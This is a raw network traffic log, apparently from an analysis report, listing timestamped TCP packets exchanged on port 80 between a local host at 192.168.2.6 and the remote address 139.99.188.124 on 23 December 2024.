Dec 23, 2024 08:39:46.210604906 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.210613012 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.210674047 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.213815928 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.213866949 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.213902950 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.214041948 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.214124918 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.214184999 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.216264009 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.216315031 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.216382980 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.218496084 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.218538046 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.218616009 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.220618963 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.220683098 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.220720053 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.222764969 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.222821951 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.222856998 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.224775076 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.224823952 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.224899054 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.226912975 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.226970911 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.226995945 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.229012966 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.229079008 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.229099989 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.231017113 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.231064081 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.231103897 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.233035088 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.233119011 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.233124018 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.235105038 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.235194921 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.235263109 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.237086058 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.237168074 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.237237930 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.239109993 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.239162922 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.239250898 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.241077900 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.241147041 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.241158009 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.242981911 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.243031025 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.243071079 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.244949102 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.245099068 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.245157957 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.245975018 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.246022940 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.246032953 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.247040033 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.247077942 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.247081041 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.248111963 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.248172045 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.248229027 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.249185085 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.249236107 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.249300957 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.250271082 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.250345945 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.250355959 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.251348019 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.251418114 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.251450062 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.252371073 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.252439976 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.252473116 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.253407955 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.253499985 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.253528118 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.254506111 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.254551888 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.254621983 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.255583048 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.255640984 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.255681038 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.256632090 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.256664991 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.256710052 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.257673979 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.257741928 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.257780075 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.258739948 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.258867025 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.258869886 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.259831905 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.259936094 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.260004997 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.260873079 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.260961056 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.260987043 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.261934042 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.261982918 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.262043953 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.263041019 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.263093948 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.263144970 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.264097929 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.264178991 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.264247894 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.265177011 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.265245914 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.265271902 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.266226053 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.266283989 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.266294956 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.267285109 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.267342091 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.267374992 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.268399954 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.268479109 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.268523932 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.269403934 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.269469023 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.269505978 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.270477057 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.270493984 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.270543098 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.271538019 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.271591902 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.271630049 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.272597075 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.272650003 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.272768974 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.273652077 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.273720026 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.273746014 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.274725914 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.274765968 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.274817944 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.275799036 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.275850058 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.275908947 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.276837111 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.276932001 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.276962042 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.277940989 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.278054953 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.278057098 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.279005051 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.279088020 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.279120922 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.280086994 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.280143023 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.280163050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.397262096 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.397311926 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.397342920 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.397742987 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.397799015 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.397939920 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.398133039 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.398175001 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.399343967 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.399430990 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.400073051 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.400130033 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.400166988 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.400208950 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.401119947 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.401217937 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.401961088 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.402180910 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.402307987 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.402410984 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.403224945 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.403345108 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.403390884 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.404310942 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.404449940 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.404501915 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.405275106 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.405374050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.405437946 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.406342983 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.406445026 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.406517982 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.407351971 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.407476902 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.407804012 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.408406973 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.408525944 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.408567905 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.409430981 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.409446955 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.409576893 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.413188934 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.413254976 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.413495064 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.413552999 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.413568020 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.413594961 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.414536953 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.414607048 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.414648056 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.415560007 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.415951967 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.416062117 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.416177988 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.417053938 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.417115927 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.417119026 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.418051958 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.418175936 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.418185949 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.419081926 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.419198990 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.419244051 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.420125961 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.420181036 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.420181990 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.421211958 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.421324015 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.421371937 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.422216892 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.422267914 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.422302008 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.423257113 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.423362017 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.423420906 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.424273968 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.424487114 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.424572945 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.425263882 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.425331116 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.425389051 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.426336050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.426436901 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.426446915 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.427376032 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.427403927 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.427450895 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.428402901 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.428487062 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.428512096 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.429428101 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.429471970 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.429516077 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.430474043 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.430532932 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.430572033 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.431503057 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.431602955 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.431641102 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.432533026 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.432574034 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.432620049 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.433576107 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.433669090 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.433717012 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.434604883 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.434657097 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.434720039 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.435655117 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.435748100 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.435794115 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.436674118 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.436717033 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.436777115 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.437756062 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.437879086 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.437968969 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.438772917 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.438817978 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.438885927 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.439812899 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.439933062 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.440022945 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.440885067 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.440928936 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.441008091 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.442058086 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.442141056 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.442182064 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.443140030 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.443191051 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.443217039 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.444228888 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.444292068 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.444298983 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.445014000 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.445080042 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.445111036 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.446008921 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.446144104 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.446183920 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.447052002 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.447149038 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.447158098 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.448106050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.448235035 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.448288918 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.449122906 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.449230909 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.449285984 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.450154066 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.450237989 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.450278044 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.451206923 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.451258898 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.451308012 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.452241898 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.452327013 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.452342033 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.453257084 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.453378916 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.453453064 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.454324007 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.454422951 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.454478979 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.455456972 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.455548048 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.455583096 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.456383944 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.456504107 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.456553936 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.457380056 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.461110115 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.589852095 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.589945078 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.590009928 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.590217113 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.590322971 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.590399027 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.591254950 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.591360092 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.591411114 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.592386961 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.592475891 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.593373060 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.593441010 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.593494892 CET	80	49800	139.99.188.124	192.168.2.6
